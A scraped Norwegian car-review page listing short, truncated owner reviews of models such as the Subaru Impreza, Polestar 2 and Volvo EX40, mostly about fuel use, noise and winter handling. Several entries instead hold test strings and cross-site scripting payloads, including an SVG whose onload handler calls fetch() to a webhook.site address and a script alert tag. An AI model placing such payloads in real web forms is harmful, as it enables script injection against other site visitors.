Vurdert av MariusO
Subaru Impreza (2011)
Super liten rakker. 2.0D på 109hk, 6gir. 0,48 på langkjøring i fartsgrense og aldri høyere enn 0,58 på 110+ på langkjøring. Småkjøring aldri over 0,8. lite hk men greit med moment, men ikke s
Subaru Impreza (2011)
God bil å kjøre. grei nok å eie
Subaru Impreza (2011)
Jeg har hatt denne bilen i ett år, og jeg er fornøyd, minuser vil det alltid være med en bil. Bilen starter og går, og er det glatt og snøføre så er bilen en skikkelig moroklump og kjøre, den
Subaru Impreza (2010)
Veldig framkommelig bil, passer for de som ikke trenger så mye bagasjeplass. For høyt støynivå ved langkjøring. Lave personer vil kanskje finne det vanskelig å se over panseret. En god bil m
Subaru Impreza (2010)
Subaru Impreza (2010)
Knall artig bil. Ikkje noke premium følelse, men driftsikker og pålitelig.
Subaru Impreza (2009)
en kjempebil! kjøreegenskaper som en klegg. bytta i en ny xv. gubbebil i forhold, men så har jeg blitt gubbe.... min 4.subaru siden 1985. Aldri seriøst vurdert annet merke.
Subaru Impreza (2009)
Fantastisk førstebil/ungdomsbil.
Subaru Impreza (2009)
Driftssikker, aldri noe tull. Veistøy blir slitsom ved langkjøringer
Subaru Impreza (2009)
Personlig så synes jeg bilen er Veldig bra. Men savner mere støydemping i bilen. Bilen har stor kjøreglede og langturer er ikke noe problem med gode sportsseter som gjør at man sitter godt. Bile
Subaru Impreza (2008)
Tøff bil med bra fremkommelighet. Helt konge om vinteren. Bensin motoren er veldig driftsikker
Subaru Impreza (2008)
Snerten og pen bil. Lav effekt, men mye moro.
Subaru Impreza (2008)
God og trafikksikker bil. Tredje modell av Subaru Impreza jeg/familien har - fornøyde.
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km